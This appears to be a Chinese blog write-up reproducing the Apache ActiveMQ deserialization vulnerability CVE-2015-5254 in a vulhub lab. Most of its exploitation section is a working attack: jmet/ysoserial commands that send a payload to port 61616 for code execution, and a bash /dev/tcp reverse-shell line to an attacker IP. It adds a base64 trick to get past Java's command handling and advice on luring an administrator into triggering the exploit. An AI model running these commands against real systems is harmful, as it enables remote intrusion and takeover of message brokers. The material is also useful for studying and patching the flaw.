ActiveMQ 反序列化漏洞(CVE-2015-5254)

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發(fā)的一套開源的消息中間件,它支持Java消息服務(wù)、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠(yuǎn)程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執(zhí)行任意代碼

這里采用vulhub搭建環(huán)境,環(huán)境運行后,將監(jiān)聽61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。

首先訪問8161端口看服務(wù)有沒有正常啟動。

漏洞復(fù)現(xiàn)

漏洞利用過程如下:

  1. 構(gòu)造(可以使用ysoserial)可執(zhí)行命令的序列化對象
  2. 作為一個消息,發(fā)送給目標(biāo)61616端口
  3. 訪問web管理頁面,讀取消息,觸發(fā)漏洞

使用jmet進行漏洞利用。首先下載jmet的jar文件,并在同目錄下創(chuàng)建一個external文件夾(否則可能會爆文件夾不存在的錯誤)。

jmet原理是使用ysoserial生成Payload并發(fā)送(其jar內(nèi)自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 靶機IP 61616

執(zhí)行成功之后,此時會給目標(biāo)ActiveMQ添加一個名為event的隊列:

我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息:

點擊查看這條消息即可觸發(fā)命令執(zhí)行,

此時進入容器:

docker-compose exec activemq bash

可見/tmp/success已成功創(chuàng)建,說明漏洞利用成功:

接下來把payload換成反彈shell即可:

bash -i >& /dev/tcp/IP/8888 0>&1

這里需要一些小技巧來繞過java的機制,

bash -c {echo,payload的basse64編碼}|{base64,-d}|{bash,-i}

用nc監(jiān)聽即可獲得shell:

值得注意的是,通過web管理頁面訪問消息并觸發(fā)漏洞這個過程需要管理員權(quán)限。在沒有密碼的情況下,我們可以誘導(dǎo)管理員訪問我們的鏈接以觸發(fā),或者偽裝成其他合法服務(wù)需要的消息,等待客戶端訪問的時候觸發(fā)。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容